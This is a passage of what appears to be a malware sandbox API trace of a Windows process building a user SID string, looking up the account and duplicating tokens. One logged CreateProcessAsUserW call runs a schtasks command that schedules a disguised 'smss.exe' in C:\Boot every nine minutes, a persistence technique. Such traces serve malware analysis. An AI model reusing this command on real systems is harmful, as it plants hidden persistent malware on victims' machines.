[5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0073.980] malloc (_Size=0x1c) returned 0xeff60 [0073.980] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0073.980] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0073.980] malloc (_Size=0x18) returned 0xef0a0 [0073.980] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0073.980] malloc (_Size=0x18) returned 0xeef60 [0073.980] malloc (_Size=0x18) returned 0xeef20 [0073.980] SysStringLen (param_1="S-1-") returned 0x4 [0073.980] SysStringLen (param_1="5") returned 0x1 [0073.980] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xa | out: _Dst=0x3811a8) returned 0x3811a8 [0073.981] memcpy (in: _Dst=0x3811b0, _Src=0x381298, _Size=0x4 | out: _Dst=0x3811b0) returned 0x3811b0 [0073.981] free (_Block=0xef0a0) [0073.981] free (_Block=0xeef60) [0073.981] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0073.981] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0073.981] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0073.981] malloc (_Size=0x18) returned 0xeef60 [0073.981] malloc (_Size=0x18) returned 0xef0a0 [0073.981] SysStringLen (param_1="S-1-5") returned 0x5 [0073.981] SysStringLen (param_1="-") returned 0x1 [0073.981] memcpy (in: _Dst=0x381298, _Src=0x3811a8, _Size=0xc | out: _Dst=0x381298) returned 0x381298 [0073.981] memcpy (in: _Dst=0x3812a2, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a2) returned 0x3812a2 [0073.981] free (_Block=0xeef20) [0073.981] free (_Block=0xeef60) [0073.981] malloc (_Size=0x18) returned 0xeef60 [0073.981] malloc (_Size=0x18) returned 0xeef20 [0073.981] SysStringLen (param_1="S-1-5-") returned 0x6 [0073.981] SysStringLen (param_1="21") returned 0x2 [0073.982] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xe | out: _Dst=0x381238) returned 0x381238 [0073.982] memcpy (in: _Dst=0x381244, _Src=0x3811a8, _Size=0x6 | out: _Dst=0x381244) returned 0x381244 [0073.982] free (_Block=0xef0a0) [0073.982] free (_Block=0xeef60) [0073.982] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0073.982] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0073.982] malloc (_Size=0x18) returned 0xeef60 [0073.982] malloc (_Size=0x18) returned 0xef0a0 [0073.982] SysStringLen (param_1="S-1-5-21") returned 0x8 [0073.982] SysStringLen (param_1="-") returned 0x1 [0073.982] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0x12 | out: _Dst=0x3811a8) returned 0x3811a8 [0073.982] memcpy (in: _Dst=0x3811b8, _Src=0x381298, _Size=0x4 | out: _Dst=0x3811b8) returned 0x3811b8 [0073.982] free (_Block=0xeef20) [0073.982] free (_Block=0xeef60) [0073.982] malloc (_Size=0x18) returned 0xeef60 [0073.982] malloc (_Size=0x18) returned 0xeef20 [0073.982] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0073.982] SysStringLen (param_1="4219442223") returned 0xa [0073.982] memcpy (in: _Dst=0x337aa8, _Src=0x3811a8, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0073.982] memcpy (in: _Dst=0x337aba, _Src=0x381238, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0073.983] free (_Block=0xef0a0) [0073.983] free (_Block=0xeef60) [0073.983] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0073.983] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0073.983] malloc (_Size=0x18) returned 0xeef60 [0073.983] malloc (_Size=0x18) returned 0xef0a0 [0073.983] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0073.983] SysStringLen (param_1="-") returned 0x1 [0073.983] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0073.983] memcpy (in: _Dst=0x337b1e, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0073.983] free (_Block=0xeef20) [0073.983] free (_Block=0xeef60) [0073.983] malloc (_Size=0x18) returned 0xeef60 [0073.983] malloc (_Size=0x18) returned 0xeef20 [0073.983] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0073.984] SysStringLen (param_1="4223814209") returned 0xa [0073.984] memcpy (in: _Dst=0x34db78, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0073.984] memcpy (in: _Dst=0x34dba0, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0073.984] free (_Block=0xef0a0) [0073.984] free (_Block=0xeef60) [0073.984] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0073.984] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0073.984] malloc (_Size=0x18) returned 0xeef60 [0073.984] malloc (_Size=0x18) returned 0xef0a0 [0073.984] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0073.984] SysStringLen (param_1="-") returned 0x1 [0073.984] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0073.984] memcpy (in: _Dst=0x34daa4, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0073.984] free (_Block=0xeef20) [0073.984] free (_Block=0xeef60) [0073.984] malloc (_Size=0x18) returned 0xeef60 [0073.984] malloc (_Size=0x18) returned 0xeef20 [0073.984] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0073.984] SysStringLen (param_1="3835049652") returned 0xa [0073.984] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0073.984] memcpy (in: _Dst=0x34dbb6, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0073.985] free (_Block=0xef0a0) [0073.985] free (_Block=0xeef60) [0073.985] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0073.985] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0073.985] malloc (_Size=0x18) returned 0xeef60 [0073.985] malloc (_Size=0x18) returned 0xef0a0 [0073.985] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0073.985] SysStringLen (param_1="-") returned 0x1 [0073.985] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0073.985] memcpy (in: _Dst=0x34daba, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0073.985] free (_Block=0xeef20) [0073.985] free (_Block=0xeef60) [0073.985] malloc (_Size=0x18) returned 0xeef60 [0073.985] malloc (_Size=0x18) returned 0xeef20 [0073.985] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0073.985] SysStringLen (param_1="1000") returned 0x4 [0073.985] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0073.985] memcpy (in: _Dst=0x34dbcc, _Src=0x3811a8, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0073.985] free (_Block=0xef0a0) [0073.985] free (_Block=0xeef60) [0073.985] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0073.985] malloc (_Size=0x5e) returned 0xf0800 [0073.986] free (_Block=0xeef20) [0073.986] malloc (_Size=0x18) returned 0xeef20 [0073.986] free (_Block=0xf0800) [0073.986] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0073.987] GetLastError () returned 0x7a [0073.987] malloc (_Size=0x14) returned 0xeef60 [0073.987] malloc (_Size=0x16) returned 0xef0a0 [0073.987] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0073.988] malloc (_Size=0x18) returned 0xef040 [0073.988] malloc (_Size=0x18) returned 0xeef00 [0073.988] free (_Block=0xeef60) [0073.988] free (_Block=0xef0a0) [0073.988] free (_Block=0xeff60) [0073.988] free (_Block=0xeef00) [0073.988] free (_Block=0xef040) [0073.988] free (_Block=0xeef20) [0073.989] free (_Block=0xee240) [0073.989] malloc (_Size=0x48) returned 0xed2c0 [0073.989] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0074.002] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0074.003] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0074.003] malloc (_Size=0x18) returned 0xeef20 [0074.003] CreateEnvironmentBlock () returned 0x1 [0074.008] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0074.009] malloc (_Size=0x18) returned 0xef040 [0074.009] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"smsss\" /sc MINUTE /mo 9 /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"smsss\" /sc MINUTE /mo 9 /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0x64, dwThreadId=0xa40)) returned 1 [0074.013] CloseHandle (hObject=0x2f8) returned 1 [0074.013] CloseHandle (hObject=0x2fc) returned 1 [0074.013] free (_Block=0xef040) [0074.013] DestroyEnvironmentBlock () returned 0x1 [0074.013] malloc (_Size=0x48) returned 0xed400 [0074.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x55146860, dwHighDateTime=0x1d9eb0c)) [0074.013] SetEvent (hEvent=0x1f0) returned 1 [0074.014] CloseHandle (hObject=0x248) returned 1 [0074.014] CloseHandle (hObject=0x238) returned 1 [0074.164] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0074.164] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0074.164] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0074.495] SetLastError (dwErrCode=0x0) [0074.495] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0074.495] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0074.495] SetLastError (dwErrCode=0x0) [0074.495] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0074.495] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0074.495] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0074.495] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0074.495] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0074.495] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0074.496] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0074.497] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0074.497] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0074.497] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0074.497] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0074.497] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0074.497] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0074.499] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0074.499] GetCurrentThread () returned 0xfffffffffffffffe [0074.499] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0074.500] malloc (_Size=0xd8) returned 0xf4740 [0074.500] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0074.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0074.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0074.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0074.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0074.501] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0074.501] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0074.501] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0074.501] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0074.501] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0074.501] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0074.501] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0074.501] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0074.502] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0074.502] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0074.502] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0074.502] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0074.502] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0074.502] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0074.502] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0074.503] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0074.503] malloc (_Size=0x18) returned 0xeef20 [0074.503] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0074.503] malloc (_Size=0x48) returned 0xed400 [0074.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x55609460, dwHighDateTime=0x1d9eb0c)) [0074.503] SetEvent (hEvent=0x1f0) returned 1 [0074.504] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0074.504] GetLastError () returned 0x7a [0074.504] malloc (_Size=0x2c) returned 0xee200 [0074.504] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0074.504] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0074.504] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0074.504] malloc (_Size=0x1c) returned 0xeff30 [0074.504] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0074.504] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0074.504] malloc (_Size=0x18) returned 0xef040 [0074.504] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0074.504] malloc (_Size=0x18) returned 0xeef00 [0074.504] malloc (_Size=0x18) returned 0xef0a0 [0074.504] SysStringLen (param_1="S-1-") returned 0x4 [0074.504] SysStringLen (param_1="5") returned 0x1 [0074.504] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xa | out: _Dst=0x3812f8) returned 0x3812f8 [0074.504] memcpy (in: _Dst=0x381300, _Src=0x381358, _Size=0x4 | out: _Dst=0x381300) returned 0x381300 [0074.505] free (_Block=0xef040) [0074.505] free (_Block=0xeef00) [0074.505] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0074.505] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0074.505] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0074.505] malloc (_Size=0x18) returned 0xeef00 [0074.505] malloc (_Size=0x18) returned 0xef040 [0074.505] SysStringLen (param_1="S-1-5") returned 0x5 [0074.505] SysStringLen (param_1="-") returned 0x1 [0074.505] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xc | out: _Dst=0x381358) returned 0x381358 [0074.505] memcpy (in: _Dst=0x381362, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381362) returned 0x381362 [0074.505] free (_Block=0xef0a0) [0074.505] free (_Block=0xeef00) [0074.505] malloc (_Size=0x18) returned 0xeef00 [0074.505] malloc (_Size=0x18) returned 0xef0a0 [0074.505] SysStringLen (param_1="S-1-5-") returned 0x6 [0074.505] SysStringLen (param_1="21") returned 0x2 [0074.505] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xe | out: _Dst=0x3810e8) returned 0x3810e8 [0074.505] memcpy (in: _Dst=0x3810f4, _Src=0x3812f8, _Size=0x6 | out: _Dst=0x3810f4) returned 0x3810f4 [0074.505] free (_Block=0xef040) [0074.505] free (_Block=0xeef00) [0074.506] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0074.506] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0074.506] malloc (_Size=0x18) returned 0xeef00 [0074.506] malloc (_Size=0x18) returned 0xef040 [0074.506] SysStringLen (param_1="S-1-5-21") returned 0x8 [0074.506] SysStringLen (param_1="-") returned 0x1 [0074.506] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0x12 | out: _Dst=0x3812f8) returned 0x3812f8 [0074.506] memcpy (in: _Dst=0x381308, _Src=0x381358, _Size=0x4 | out: _Dst=0x381308) returned 0x381308 [0074.506] free (_Block=0xef0a0) [0074.506] free (_Block=0xeef00) [0074.506] malloc (_Size=0x18) returned 0xeef00 [0074.506] malloc (_Size=0x18) returned 0xef0a0 [0074.506] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0074.506] SysStringLen (param_1="4219442223") returned 0xa [0074.506] memcpy (in: _Dst=0x337698, _Src=0x3812f8, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0074.506] memcpy (in: _Dst=0x3376aa, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0074.506] free (_Block=0xef040) [0074.506] free (_Block=0xeef00) [0074.506] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0074.506] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0074.506] malloc (_Size=0x18) returned 0xeef00 [0074.506] malloc (_Size=0x18) returned 0xef040 [0074.507] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0074.507] SysStringLen (param_1="-") returned 0x1 [0074.507] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0074.507] memcpy (in: _Dst=0x33833e, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0074.507] free (_Block=0xef0a0) [0074.507] free (_Block=0xeef00) [0074.507] malloc (_Size=0x18) returned 0xeef00 [0074.507] malloc (_Size=0x18) returned 0xef0a0 [0074.507] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0074.507] SysStringLen (param_1="4223814209") returned 0xa [0074.507] memcpy (in: _Dst=0x34d958, _Src=0x338318, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0074.507] memcpy (in: _Dst=0x34d980, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0074.507] free (_Block=0xef040) [0074.507] free (_Block=0xeef00) [0074.507] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0074.507] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0074.507] malloc (_Size=0x18) returned 0xeef00 [0074.507] malloc (_Size=0x18) returned 0xef040 [0074.507] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0074.507] SysStringLen (param_1="-") returned 0x1 [0074.507] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0074.507] memcpy (in: _Dst=0x3276a4, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0074.507] free (_Block=0xef0a0) [0074.507] free (_Block=0xeef00) 